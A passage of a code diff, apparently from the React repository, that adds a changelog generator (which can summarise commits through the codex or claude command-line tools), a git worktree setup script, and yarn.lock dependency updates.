+    }
+
+    return lines.join('\n');
+  }
+
+  if (format === 'csv') {
+    const header = [
+      'package',
+      'version',
+      'summary',
+      'reference_type',
+      'reference_id',
+      'reference_url',
+      'author_name',
+      'author_login',
+      'author_url',
+      'author_email',
+      'commit_sha',
+      'commit_url',
+    ];
+    const rows = [header];
+
+    entries.forEach(entry => {
+      if (!entry.hasChanges) {
+        rows.push([
+          entry.package,
+          entry.version,
+          entry.note,
+          '',
+          '',
+          '',
+          '',
+          '',
+          '',
+          '',
+          '',
+          '',
+        ]);
+        return;
+      }
+
+      entry.commits.forEach(commit => {
+        const authorName =
+          commit.author.name ||
+          (commit.author.login ? `@${commit.author.login}` : 'unknown author');
+        rows.push([
+          entry.package,
+          entry.version,
+          commit.summary,
+          commit.reference.type,
+          commit.reference.id,
+          commit.reference.url,
+          authorName,
+          commit.author.login || '',
+          commit.author.url || '',
+          commit.author.email || '',
+          commit.commitSha,
+          commit.commitUrl,
+        ]);
+      });
+    });
+
+    return rows.map(toCsvRow).join('\n');
+  }
+
+  if (format === 'json') {
+    const payload = entries.map(entry => ({
+      package: entry.package,
+      version: entry.version,
+      hasChanges: entry.hasChanges,
+      note: entry.hasChanges ? undefined : entry.note,
+      commits: entry.commits.map(commit => ({
+        summary: commit.summary,
+        prNumber: commit.prNumber,
+        prUrl: commit.prUrl,
+        commitSha: commit.commitSha,
+        commitUrl: commit.commitUrl,
+        author: {
+          login: commit.author.login,
+          name: commit.author.name,
+          email: commit.author.email,
+          url: commit.author.url,
+          display: commit.author.display,
+        },
+        reference: {
+          type: commit.reference.type,
+          id: commit.reference.id,
+          url: commit.reference.url,
+          label: commit.reference.label,
+        },
+      })),
+    }));
+
+    return JSON.stringify(payload, null, 2);
+  }
+
+  throw new Error(`Unsupported format: ${format}`);
+}
+
+module.exports = {
+  buildChangelogEntries,
+  renderChangelog,
+};
diff --git a/scripts/tasks/generate-changelog/index.js b/scripts/tasks/generate-changelog/index.js
new file mode 100644
index 000000000000..816ad7959bfb
--- /dev/null
+++ b/scripts/tasks/generate-changelog/index.js
@@ -0,0 +1,158 @@
+'use strict';
+
+const {stablePackages} = require('../../../ReactVersions');
+const {parseArgs} = require('./args');
+const {
+  fetchNpmInfo,
+  collectCommitsSince,
+  loadCommitDetails,
+  extractPrNumber,
+  fetchPullRequestMetadata,
+} = require('./data');
+const {summarizePackages} = require('./summaries');
+const {buildChangelogEntries, renderChangelog} = require('./formatters');
+const {noopLogger} = require('./utils');
+
+async function main() {
+  const {packageSpecs, summarizer, debug, format} = parseArgs(
+    process.argv.slice(2)
+  );
+  const log = debug
+    ? (...args) => console.log('[generate-changelog]', ...args)
+    : noopLogger;
+
+  const allStablePackages = Object.keys(stablePackages);
+  const packageTargets = new Map();
+  for (let i = 0; i < packageSpecs.length; i++) {
+    const spec = packageSpecs[i];
+    if (!allStablePackages.includes(spec.name)) {
+      throw new Error(
+        `Package "${spec.name}" is not listed in stablePackages.`
+      );
+    }
+    if (packageTargets.has(spec.name)) {
+      throw new Error(`Package "${spec.name}" was specified more than once.`);
+    }
+    packageTargets.set(spec.name, spec);
+  }
+
+  const targetPackages = packageSpecs.map(spec => spec.name);
+  log(
+    `Starting changelog generation for: ${packageSpecs
+      .map(spec => `${spec.name}@${spec.displayVersion || spec.version}`)
+      .join(', ')}`
+  );
+
+  const packageInfoMap = new Map();
+  const packageInfoResults = await Promise.all(
+    targetPackages.map(async pkg => {
+      const info = await fetchNpmInfo(pkg, {log});
+      return {pkg, info};
+    })
+  );
+  for (let i = 0; i < packageInfoResults.length; i++) {
+    const entry = packageInfoResults[i];
+    packageInfoMap.set(entry.pkg, entry.info);
+  }
+
+  const commitPackagesMap = new Map();
+  const commitCollections = await Promise.all(
+    targetPackages.map(async pkg => {
+      const {gitHead} = packageInfoMap.get(pkg);
+      const commits = await collectCommitsSince(pkg, gitHead, {log});
+      log(`Package ${pkg} has ${commits.length} commit(s) since ${gitHead}.`);
+      return {pkg, commits};
+    })
+  );
+  for (let i = 0; i < commitCollections.length; i++) {
+    const entry = commitCollections[i];
+    const pkg = entry.pkg;
+    const commits = entry.commits;
+    for (let j = 0; j < commits.length; j++) {
+      const sha = commits[j];
+      if (!commitPackagesMap.has(sha)) {
+        commitPackagesMap.set(sha, new Set());
+      }
+      commitPackagesMap.get(sha).add(pkg);
+    }
+  }
+  log(`Found ${commitPackagesMap.size} commits touching target packages.`);
+
+  if (commitPackagesMap.size === 0) {
+    console.log('No commits found for the selected packages.');
+    return;
+  }
+
+  const commitDetails = await Promise.all(
+    Array.from(commitPackagesMap.entries()).map(
+      async ([sha, packagesTouched]) => {
+        const detail = await loadCommitDetails(sha, {log});
+        detail.packages = packagesTouched;
+        detail.prNumber = extractPrNumber(detail.subject, detail.body);
+        return detail;
+      }
+    )
+  );
+
+  commitDetails.sort((a, b) => a.timestamp - b.timestamp);
+  log(`Ordered ${commitDetails.length} commit(s) chronologically.`);
+
+  const commitsByPackage = new Map();
+  commitDetails.forEach(commit => {
+    commit.packages.forEach(pkgName => {
+      if (!commitsByPackage.has(pkgName)) {
+        commitsByPackage.set(pkgName, []);
+      }
+      commitsByPackage.get(pkgName).push(commit);
+    });
+  });
+
+  const uniquePrNumbers = Array.from(
+    new Set(commitDetails.map(commit => commit.prNumber).filter(Boolean))
+  );
+  log(`Identified ${uniquePrNumbers.length} unique PR number(s).`);
+
+  const prMetadata = new Map();
+  log(`Summarizer selected: ${summarizer || 'none (using commit titles)'}`);
+  const prMetadataResults = await Promise.all(
+    uniquePrNumbers.map(async prNumber => {
+      const meta = await fetchPullRequestMetadata(prNumber, {log});
+      return {prNumber, meta};
+    })
+  );
+  for (let i = 0; i < prMetadataResults.length; i++) {
+    const entry = prMetadataResults[i];
+    if (entry.meta) {
+      prMetadata.set(entry.prNumber, entry.meta);
+    }
+  }
+  log(`Fetched metadata for ${prMetadata.size} PR(s).`);
+
+  const summariesByPackage = await summarizePackages({
+    summarizer,
+    packageSpecs,
+    packageTargets,
+    commitsByPackage,
+    log,
+  });
+
+  const changelogEntries = buildChangelogEntries({
+    packageSpecs,
+    commitsByPackage,
+    summariesByPackage,
+    prMetadata,
+  });
+
+  log('Generated changelog sections.');
+  const output = renderChangelog(changelogEntries, format);
+  console.log(output);
+}
+
+if (require.main === module) {
+  main().catch(error => {
+    process.stderr.write(`${error.message}\n`);
+    process.exit(1);
+  });
+} else {
+  module.exports = main;
+}
diff --git a/scripts/tasks/generate-changelog/summaries.js b/scripts/tasks/generate-changelog/summaries.js
new file mode 100644
index 000000000000..d0b73851efd8
--- /dev/null
+++ b/scripts/tasks/generate-changelog/summaries.js
@@ -0,0 +1,306 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+
+const {execFileAsync, repoRoot, noopLogger} = require('./utils');
+
+function readChangelogSnippet(preferredPackage) {
+  const cacheKey =
+    preferredPackage === 'eslint-plugin-react-hooks'
+      ? preferredPackage
+      : 'root';
+  if (!readChangelogSnippet.cache) {
+    readChangelogSnippet.cache = new Map();
+  }
+  const cache = readChangelogSnippet.cache;
+  if (cache.has(cacheKey)) {
+    return cache.get(cacheKey);
+  }
+
+  const targetPath =
+    preferredPackage === 'eslint-plugin-react-hooks'
+      ? path.join(
+          repoRoot,
+          'packages',
+          'eslint-plugin-react-hooks',
+          'CHANGELOG.md'
+        )
+      : path.join(repoRoot, 'CHANGELOG.md');
+
+  let content = '';
+  try {
+    content = fs.readFileSync(targetPath, 'utf8');
+  } catch {
+    content = '';
+  }
+
+  const snippet = content.slice(0, 4000);
+  cache.set(cacheKey, snippet);
+  return snippet;
+}
+
+function sanitizeSummary(text) {
+  if (!text) {
+    return '';
+  }
+
+  const trimmed = text.trim();
+  const withoutBullet = trimmed.replace(/^([-*]\s+|\d+\s*[\.)]\s+)/, '');
+
+  return withoutBullet.replace(/\s+/g, ' ').trim();
+}
+
+async function summarizePackages({
+  summarizer,
+  packageSpecs,
+  packageTargets,
+  commitsByPackage,
+  log,
+}) {
+  const summariesByPackage = new Map();
+  if (!summarizer) {
+    packageSpecs.forEach(spec => {
+      const commits = commitsByPackage.get(spec.name) || [];
+      const summaryMap = new Map();
+      for (let i = 0; i < commits.length; i++) {
+        const commit = commits[i];
+        summaryMap.set(commit.sha, commit.subject);
+      }
+      summariesByPackage.set(spec.name, summaryMap);
+    });
+    return summariesByPackage;
+  }
+
+  const tasks = packageSpecs.map(spec => {
+    const commits = commitsByPackage.get(spec.name) || [];
+    return summarizePackageCommits({
+      summarizer,
+      spec,
+      commits,
+      packageTargets,
+      allPackageSpecs: packageSpecs,
+      log,
+    });
+  });
+
+  const results = await Promise.all(tasks);
+  results.forEach(entry => {
+    summariesByPackage.set(entry.packageName, entry.summaries);
+  });
+  return summariesByPackage;
+}
+
+async function summarizePackageCommits({
+  summarizer,
+  spec,
+  commits,
+  packageTargets,
+  allPackageSpecs,
+  log,
+}) {
+  const summaries = new Map();
+  if (commits.length === 0) {
+    return {packageName: spec.name, summaries};
+  }
+
+  const rootStyle = readChangelogSnippet('root');
+  const hooksStyle = readChangelogSnippet('eslint-plugin-react-hooks');
+  const targetList = allPackageSpecs.map(
+    targetSpec =>
+      `${targetSpec.name}@${targetSpec.displayVersion || targetSpec.version}`
+  );
+  const payload = commits.map(commit => {
+    const packages = Array.from(commit.packages || []).sort();
+    const usesHooksStyle = (commit.packages || new Set()).has(
+      'eslint-plugin-react-hooks'
+    );
+    const packagesWithVersions = packages.map(pkgName => {
+      const targetSpec = packageTargets.get(pkgName);
+      if (!targetSpec) {
+        return pkgName;
+      }
+      return `${pkgName}@${targetSpec.displayVersion || targetSpec.version}`;
+    });
+    return {
+      sha: commit.sha,
+      packages,
+      packagesWithVersions,
+      style: usesHooksStyle ? 'eslint-plugin-react-hooks' : 'root',
+      subject: commit.subject,
+      body: commit.body || '',
+    };
+  });
+
+  const promptParts = [
+    `You are preparing changelog summaries for ${spec.name} ${
+      spec.displayVersion || spec.version
+    }.`,
+    'The broader release includes:',
+    ...targetList.map(line => `- ${line}`),
+    '',
+    'For each commit payload, write a single concise sentence without a leading bullet.',
+    'Match the tone and formatting of the provided style samples. Do not mention commit hashes.',
+    'Return a JSON array where each element has the shape `{ "sha": "<sha>", "summary": "<text>" }`.',
+    'The JSON must contain one entry per commit in the same order they are provided.',
+    'Use `"root"` style unless the payload specifies `"eslint-plugin-react-hooks"`, in which case use that style sample.',
+    '',
+    '--- STYLE: root ---',
+    rootStyle,
+    '--- END STYLE ---',
+    '',
+    '--- STYLE: eslint-plugin-react-hooks ---',
+    hooksStyle,
+    '--- END STYLE ---',
+    '',
+    `Commits affecting ${spec.name}:`,
+  ];
+
+  payload.forEach((item, index) => {
+    promptParts.push(
+      `Commit ${index + 1}:`,
+      `sha: ${item.sha}`,
+      `style: ${item.style}`,
+      `packages: ${item.packagesWithVersions.join(', ') || 'none'}`,
+      `subject: ${item.subject}`,
+      'body:',
+      item.body || '(empty)',
+      ''
+    );
+  });
+  promptParts.push('Return ONLY the JSON array.', '');
+
+  const prompt = promptParts.join('\n');
+  log(
+    `Invoking ${summarizer} for ${payload.length} commit summaries targeting ${spec.name}.`
+  );
+  log(`Summarizer prompt length: ${prompt.length} characters.`);
+
+  try {
+    const raw = await runSummarizer(summarizer, prompt);
+    log(`Summarizer output length: ${raw.length}`);
+    const parsed = parseSummariesResponse(raw);
+    if (!parsed) {
+      throw new Error('Unable to parse summarizer output.');
+    }
+    parsed.forEach(entry => {
+      const summary = sanitizeSummary(entry.summary || '');
+      if (summary) {
+        summaries.set(entry.sha, summary);
+      }
+    });
+  } catch (error) {
+    if (log !== noopLogger) {
+      log(
+        `Warning: failed to summarize commits for ${spec.name} with ${summarizer}. Falling back to subjects. ${error.message}`
+      );
+      if (error && error.stack) {
+        log(error.stack);
+      }
+    }
+  }
+
+  for (let i = 0; i < commits.length; i++) {
+    const commit = commits[i];
+    if (!summaries.has(commit.sha)) {
+      summaries.set(commit.sha, commit.subject);
+    }
+  }
+
+  log(`Summaries available for ${summaries.size} commit(s) for ${spec.name}.`);
+
+  return {packageName: spec.name, summaries};
+}
+
+async function runSummarizer(command, prompt) {
+  const options = {cwd: repoRoot, maxBuffer: 5 * 1024 * 1024};
+
+  if (command === 'codex') {
+    const {stdout} = await execFileAsync(
+      'codex',
+      ['exec', '--json', prompt],
+      options
+    );
+    return parseCodexSummary(stdout);
+  }
+
+  if (command === 'claude') {
+    const {stdout} = await execFileAsync('claude', ['-p', prompt], options);
+    return stripClaudeBanner(stdout);
+  }
+
+  throw new Error(`Unsupported summarizer command: ${command}`);
+}
+
+function parseCodexSummary(output) {
+  let last = '';
+  const lines = output.split('\n');
+  for (let i = 0; i < lines.length; i++) {
+    const trimmed = lines[i].trim();
+    if (!trimmed) {
+      continue;
+    }
+    try {
+      const event = JSON.parse(trimmed);
+      if (
+        event.type === 'item.completed' &&
+        event.item?.type === 'agent_message'
+      ) {
+        last = event.item.text || '';
+      }
+    } catch {
+      last = trimmed;
+    }
+  }
+  return last || output;
+}
+
+function stripClaudeBanner(text) {
+  return text
+    .split('\n')
+    .filter(
+      line =>
+        line.trim() !==
+        'Claude Code at Meta (https://fburl.com/claude.code.users)'
+    )
+    .join('\n')
+    .trim();
+}
+
+function parseSummariesResponse(output) {
+  const trimmed = output.trim();
+  const candidates = trimmed
+    .split('\n')
+    .map(line => line.trim())
+    .filter(Boolean);
+
+  for (let i = candidates.length - 1; i >= 0; i--) {
+    const candidate = candidates[i];
+    if (!candidate) {
+      continue;
+    }
+    try {
+      const parsed = JSON.parse(candidate);
+      if (Array.isArray(parsed)) {
+        return parsed;
+      }
+    } catch {
+      // Try the next candidate.
+    }
+  }
+
+  try {
+    const parsed = JSON.parse(trimmed);
+    if (Array.isArray(parsed)) {
+      return parsed;
+    }
+  } catch {
+    // Fall through.
+  }
+
+  return null;
+}
+
+module.exports = {
+  summarizePackages,
+};
diff --git a/scripts/tasks/generate-changelog/utils.js b/scripts/tasks/generate-changelog/utils.js
new file mode 100644
index 000000000000..fe4069eca02d
--- /dev/null
+++ b/scripts/tasks/generate-changelog/utils.js
@@ -0,0 +1,62 @@
+'use strict';
+
+const fs = require('fs');
+const path = require('path');
+const {execFile} = require('child_process');
+const {promisify} = require('util');
+
+const execFileAsync = promisify(execFile);
+const repoRoot = path.resolve(__dirname, '..', '..', '..');
+
+function isCommandAvailable(command) {
+  const paths = (process.env.PATH || '').split(path.delimiter);
+  const extensions =
+    process.platform === 'win32' && process.env.PATHEXT
+      ? process.env.PATHEXT.split(';')
+      : [''];
+
+  for (let i = 0; i < paths.length; i++) {
+    const dir = paths[i];
+    if (!dir) {
+      continue;
+    }
+    for (let j = 0; j < extensions.length; j++) {
+      const ext = extensions[j];
+      const fullPath = path.join(dir, `${command}${ext}`);
+      try {
+        fs.accessSync(fullPath, fs.constants.X_OK);
+        return true;
+      } catch {
+        // Keep searching.
+      }
+    }
+  }
+  return false;
+}
+
+function noopLogger() {}
+
+function escapeCsvValue(value) {
+  if (value == null) {
+    return '';
+  }
+
+  const stringValue = String(value).replace(/\r?\n|\r/g, ' ');
+  if (stringValue.includes('"') || stringValue.includes(',')) {
+    return `"${stringValue.replace(/"/g, '""')}"`;
+  }
+  return stringValue;
+}
+
+function toCsvRow(values) {
+  return values.map(escapeCsvValue).join(',');
+}
+
+module.exports = {
+  execFileAsync,
+  repoRoot,
+  isCommandAvailable,
+  noopLogger,
+  escapeCsvValue,
+  toCsvRow,
+};
diff --git a/scripts/tasks/linc.js b/scripts/tasks/linc.js
index 32ed19b436c0..2ac9851d4de8 100644
--- a/scripts/tasks/linc.js
+++ b/scripts/tasks/linc.js
@@ -13,7 +13,6 @@ const runESLint = require('../eslint');
 async function main() {
   console.log('Linting changed files...');
 
-  // eslint-disable-next-line no-unused-vars
   const {_, ...cliOptions} = minimist(process.argv.slice(2));
 
   if (await runESLint({onlyChanged: true, ...cliOptions})) {
diff --git a/scripts/worktree.sh b/scripts/worktree.sh
new file mode 100755
index 000000000000..ce5af504c7cc
--- /dev/null
+++ b/scripts/worktree.sh
@@ -0,0 +1,154 @@
+#!/usr/bin/env bash
+# Copyright (c) Meta Platforms, Inc. and affiliates.
+#
+# This source code is licensed under the MIT license found in the
+# LICENSE file in the root directory of this source tree.
+
+set -eo pipefail
+
+# --- Configuration ---
+SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
+REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
+WORKTREE_CREATED=false
+WORKTREE_PATH=""
+
+# --- Usage ---
+usage() {
+  echo "Usage: $0 [name] [--claude] [--compiler]"
+  echo ""
+  echo "Creates a new git worktree with dependencies installed."
+  echo ""
+  echo "Arguments:"
+  echo "  [name]        Name for the worktree (auto-generated if not provided)"
+  echo ""
+  echo "Options:"
+  echo "  --claude      Launch Claude Code after setup"
+  echo "  --compiler    When used with --claude, launch Claude in the compiler directory"
+  exit 1
+}
+
+# --- Error handling ---
+error() {
+  echo "Error: $1" >&2
+  exit 1
+}
+
+# --- Cleanup on error ---
+cleanup() {
+  if [[ "$WORKTREE_CREATED" == "true" && -n "$WORKTREE_PATH" ]]; then
+    echo "Cleaning up: removing worktree at $WORKTREE_PATH..." >&2
+    git worktree remove "$WORKTREE_PATH" --force 2>/dev/null || true
+  fi
+}
+
+trap cleanup ERR
+
+# --- Argument parsing ---
+NAME=""
+USE_CLAUDE=false
+USE_COMPILER=false
+
+while [[ $# -gt 0 ]]; do
+  case "$1" in
+    --claude)
+      USE_CLAUDE=true
+      shift
+      ;;
+    --compiler)
+      USE_COMPILER=true
+      shift
+      ;;
+    -h|--help)
+      usage
+      ;;
+    -*)
+      error "Unknown option: $1"
+      ;;
+    *)
+      if [[ -z "$NAME" ]]; then
+        NAME="$1"
+      else
+        error "Unexpected argument: $1"
+      fi
+      shift
+      ;;
+  esac
+done
+
+# Generate worktree name with timestamp prefix
+TIMESTAMP=$(date +%Y-%m-%d-%H-%M-%S)
+
+if [[ -z "$NAME" ]]; then
+  # Word lists for random name generation
+  ADJECTIVES=(
+    "quick" "bright" "calm" "dark" "eager" "fair" "gentle" "happy" "idle" "jolly"
+    "keen" "lively" "merry" "noble" "orange" "proud" "quiet" "rapid" "silent" "tall"
+    "unique" "vivid" "warm" "young" "zealous" "ancient" "bold" "clever" "daring" "elegant"
+    "fancy" "grand" "humble" "icy" "jagged" "kind" "loud" "magic" "narrow" "odd"
+    "plain" "quaint" "rough" "sharp" "tender" "ultra" "vast" "wild" "xeric" "youthful"
+    "zesty" "agile" "brave" "crisp" "deep"
+  )
+  NOUNS=(
+    "apple" "bear" "cloud" "dragon" "eagle" "flame" "garden" "hill" "island" "jungle"
+    "kettle" "lemon" "mountain" "night" "ocean" "panda" "quartz" "river" "storm" "tiger"
+    "umbrella" "valley" "whale" "xenon" "yarn" "zebra" "anchor" "bridge" "canyon" "desert"
+    "ember" "forest" "glacier" "harbor" "igloo" "jewel" "knight" "lantern" "meadow" "nebula"
+    "oasis" "phoenix" "quest" "rocket" "shadow" "thunder" "unity" "vortex" "willow" "xylophone"
+    "yonder" "zenith" "aurora" "beacon" "coral"
+  )
+
+  # Generate random name: worktree-yyyy-mm-dd-hh-mm-ss-<adjective>-<noun>
+  RANDOM_ADJ=${ADJECTIVES[$RANDOM % ${#ADJECTIVES[@]}]}
+  RANDOM_NOUN=${NOUNS[$RANDOM % ${#NOUNS[@]}]}
+  NAME="worktree-${TIMESTAMP}-${RANDOM_ADJ}-${RANDOM_NOUN}"
+  echo "Auto-generated worktree name: $NAME"
+else
+  # Use provided name: worktree-yyyy-mm-dd-hh-mm-ss-<name>
+  NAME="worktree-${TIMESTAMP}-${NAME}"
+  echo "Worktree name: $NAME"
+fi
+
+# --- Check .gitignore ---
+if ! grep -qE '^/?\.worktrees/?$' "$REPO_ROOT/.gitignore" 2>/dev/null; then
+  error "'.worktrees' is not in .gitignore. Add it before creating worktrees."
+fi
+
+# --- Check if worktree already exists ---
+if git worktree list | grep -q "\[$NAME\]"; then
+  error "Worktree with branch name '$NAME' already exists"
+fi
+
+# --- Set up worktree path ---
+WORKTREES_DIR="$REPO_ROOT/.worktrees"
+WORKTREE_PATH="$WORKTREES_DIR/$NAME"
+
+if [[ -d "$WORKTREE_PATH" ]]; then
+  error "Directory already exists at $WORKTREE_PATH"
+fi
+
+# --- Create worktree ---
+mkdir -p "$WORKTREES_DIR"
+echo "Creating worktree '$NAME' at $WORKTREE_PATH..."
+git worktree add "$WORKTREE_PATH" -b "$NAME"
+WORKTREE_CREATED=true
+
+# --- Install dependencies ---
+echo "Installing compiler dependencies..."
+(cd "$WORKTREE_PATH/compiler" && yarn install)
+
+echo "Installing root dependencies..."
+(cd "$WORKTREE_PATH" && yarn install)
+
+echo "Worktree '$NAME' created successfully at $WORKTREE_PATH"
+
+# --- Launch Claude (optional) ---
+if [[ "$USE_CLAUDE" == "true" ]]; then
+  if [[ "$USE_COMPILER" == "true" ]]; then
+    echo "Launching Claude in compiler directory..."
+    cd "$WORKTREE_PATH/compiler"
+  else
+    echo "Launching Claude in worktree root..."
+    cd "$WORKTREE_PATH"
+  fi
+  exec claude
+fi
diff --git a/yarn.lock b/yarn.lock
index 1f3a2dd01d43..303fed599cdc 100644
--- a/yarn.lock
+++ b/yarn.lock
@@ -53,12 +53,31 @@
   dependencies:
     "@babel/highlight" "^7.12.13"
 
-"@babel/code-frame@^7.14.5", "@babel/code-frame@^7.16.0":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.16.0.tgz#0dfc80309beec8411e65e706461c408b0bb9b431"
-  integrity sha512-IF4EOMEV+bfYwOmNxGzSnjR2EmQod7f1UXOpZM3l4i4o4QNwzjtJAu/HxdjHq0aYBvdqMuQEY1eg0nqW9ZPORA==
+"@babel/code-frame@^7.16.7", "@babel/code-frame@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.27.1.tgz#200f715e66d52a23b221a9435534a91cc13ad5be"
+  integrity sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg==
   dependencies:
-    "@babel/highlight" "^7.16.0"
+    "@babel/helper-validator-identifier" "^7.27.1"
+    js-tokens "^4.0.0"
+    picocolors "^1.1.1"
+
+"@babel/code-frame@^7.21.4":
+  version "7.24.7"
+  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.24.7.tgz#882fd9e09e8ee324e496bd040401c6f046ef4465"
+  integrity sha512-BcYH1CVJBO9tvyIZ2jVeXgSIMvGZ2FDRvDdOIVQyuklNKSsx+eppDEBq/g47Ayw+RqNFE+URvOShmf+f/qwAlA==
+  dependencies:
+    "@babel/highlight" "^7.24.7"
+    picocolors "^1.0.0"
+
+"@babel/code-frame@^7.26.2":
+  version "7.26.2"
+  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.26.2.tgz#4b5fab97d33338eff916235055f0ebc21e573a85"
+  integrity sha512-RJlIHRueQgwWitWgF8OdFYGZX328Ax5BCemNGlqHfplnRT9ESi8JkFlvaVYbS+UubVY6dpv87Fs2u5M29iNFVQ==
+  dependencies:
+    "@babel/helper-validator-identifier" "^7.25.9"
+    js-tokens "^4.0.0"
+    picocolors "^1.0.0"
 
 "@babel/code-frame@^7.8.3":
   version "7.8.3"
@@ -76,16 +95,16 @@
     invariant "^2.2.4"
     semver "^5.5.0"
 
-"@babel/compat-data@^7.16.0":
-  version "7.16.4"
-  resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.16.4.tgz#081d6bbc336ec5c2435c6346b2ae1fb98b5ac68e"
-  integrity sha512-1o/jo7D+kC9ZjHX5v+EHrdjl3PhxMrLSOTGsOdHJ+KL8HCaEK6ehrVL2RS6oHDZp+L7xLirLrPmQtEng769J/Q==
-
 "@babel/compat-data@^7.20.5", "@babel/compat-data@^7.23.5":
   version "7.24.4"
   resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.24.4.tgz#6f102372e9094f25d908ca0d34fc74c74606059a"
   integrity sha512-vg8Gih2MLK+kOkHJp4gBEIkyaIi00jgWot2D9QOmmfLC8jINSOzmCLta6Bvz/JSBCqnegV0L80jhxkol5GWNfQ==
 
+"@babel/compat-data@^7.22.6", "@babel/compat-data@^7.26.5", "@babel/compat-data@^7.26.8":
+  version "7.26.8"
+  resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.26.8.tgz#821c1d35641c355284d4a870b8a4a7b0c141e367"
+  integrity sha512-oH5UPLMWR3L2wEFLnFJ1TZXqHufiTKAiLfqw5zkhS4dKXLJ10yVztfil/twG8EDTA4F/tvVNw9nOl4ZMslB8rQ==
+
 "@babel/core@^7.0.0":
   version "7.20.12"
   resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.20.12.tgz#7930db57443c6714ad216953d1356dac0eb8496d"
@@ -107,29 +126,7 @@
     json5 "^2.2.2"
     semver "^6.3.0"
 
-"@babel/core@^7.11.1":
-  version "7.11.1"
-  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.11.1.tgz#2c55b604e73a40dc21b0e52650b11c65cf276643"
-  integrity sha512-XqF7F6FWQdKGGWAzGELL+aCO1p+lRY5Tj5/tbT3St1G8NaH70jhhDIKknIZaDans0OQBG5wRAldROLHSt44BgQ==
-  dependencies:
-    "@babel/code-frame" "^7.10.4"
-    "@babel/generator" "^7.11.0"
-    "@babel/helper-module-transforms" "^7.11.0"
-    "@babel/helpers" "^7.10.4"
-    "@babel/parser" "^7.11.1"
-    "@babel/template" "^7.10.4"
-    "@babel/traverse" "^7.11.0"
-    "@babel/types" "^7.11.0"
-    convert-source-map "^1.7.0"
-    debug "^4.1.0"
-    gensync "^1.0.0-beta.1"
-    json5 "^2.1.2"
-    lodash "^4.17.19"
-    resolve "^1.3.2"
-    semver "^5.4.1"
-    source-map "^0.5.0"
-
-"@babel/core@^7.11.6", "@babel/core@^7.12.3", "@babel/core@^7.23.9":
+"@babel/core@^7.11.1", "@babel/core@^7.11.6", "@babel/core@^7.12.3", "@babel/core@^7.23.9", "@babel/core@^7.24.4":
   version "7.24.5"
   resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.24.5.tgz#15ab5b98e101972d171aeef92ac70d8d6718f06a"
   integrity sha512-tVQRucExLQ02Boi4vdPp49svNGcfL2GhdTCT9aldhXgCJVAI21EtRfBettiuLUwce/7r6bFdgs6JFkcdTiFttA==
@@ -150,27 +147,6 @@
     json5 "^2.2.3"
     semver "^6.3.1"
 
-"@babel/core@^7.14.8":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.16.0.tgz#c4ff44046f5fe310525cc9eb4ef5147f0c5374d4"
-  integrity sha512-mYZEvshBRHGsIAiyH5PzCFTCfbWfoYbO/jcSdXQSUQu1/pW0xDZAUP7KEc32heqWTAfAHhV9j1vH8Sav7l+JNQ==
-  dependencies:
-    "@babel/code-frame" "^7.16.0"
-    "@babel/generator" "^7.16.0"
-    "@babel/helper-compilation-targets" "^7.16.0"
-    "@babel/helper-module-transforms" "^7.16.0"
-    "@babel/helpers" "^7.16.0"
-    "@babel/parser" "^7.16.0"
-    "@babel/template" "^7.16.0"
-    "@babel/traverse" "^7.16.0"
-    "@babel/types" "^7.16.0"
-    convert-source-map "^1.7.0"
-    debug "^4.1.0"
-    gensync "^1.0.0-beta.2"
-    json5 "^2.1.2"
-    semver "^6.3.0"
-    source-map "^0.5.0"
-
 "@babel/eslint-parser@^7.11.4":
   version "7.11.4"
   resolved "https://registry.yarnpkg.com/@babel/eslint-parser/-/eslint-parser-7.11.4.tgz#f79bac69088097a8418f5c67fc462c89a72c2f48"
@@ -189,24 +165,6 @@
     jsesc "^2.5.1"
     source-map "^0.5.0"
 
-"@babel/generator@^7.12.5":
-  version "7.12.5"
-  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.12.5.tgz#a2c50de5c8b6d708ab95be5e6053936c1884a4de"
-  integrity sha512-m16TQQJ8hPt7E+OS/XVQg/7U184MLXtvuGbCdA7na61vha+ImkyyNM/9DDA0unYCVZn3ZOhng+qz48/KBOT96A==
-  dependencies:
-    "@babel/types" "^7.12.5"
-    jsesc "^2.5.1"
-    source-map "^0.5.0"
-
-"@babel/generator@^7.16.0":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.16.0.tgz#d40f3d1d5075e62d3500bccb67f3daa8a95265b2"
-  integrity sha512-RR8hUCfRQn9j9RPKEVXo9LiwoxLPYn6hNZlvUOR8tSnaxlD0p0+la00ZP9/SnRt6HchKr+X0fO2r8vrETiJGew==
-  dependencies:
-    "@babel/types" "^7.16.0"
-    jsesc "^2.5.1"
-    source-map "^0.5.0"
-
 "@babel/generator@^7.20.7", "@babel/generator@^7.24.5", "@babel/generator@^7.7.2":
   version "7.24.5"
   resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.24.5.tgz#e5afc068f932f05616b66713e28d0f04e99daeb3"
@@ -217,6 +175,39 @@
     "@jridgewell/trace-mapping" "^0.3.25"
     jsesc "^2.5.1"
 
+"@babel/generator@^7.26.10":
+  version "7.26.10"
+  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.26.10.tgz#a60d9de49caca16744e6340c3658dfef6138c3f7"
+  integrity sha512-rRHT8siFIXQrAYOYqZQVsAr8vJ+cBNqcVAY6m5V8/4QqzaPl+zDBe6cLEPRDuNOUf3ww8RfJVlOyQMoSI+5Ang==
+  dependencies:
+    "@babel/parser" "^7.26.10"
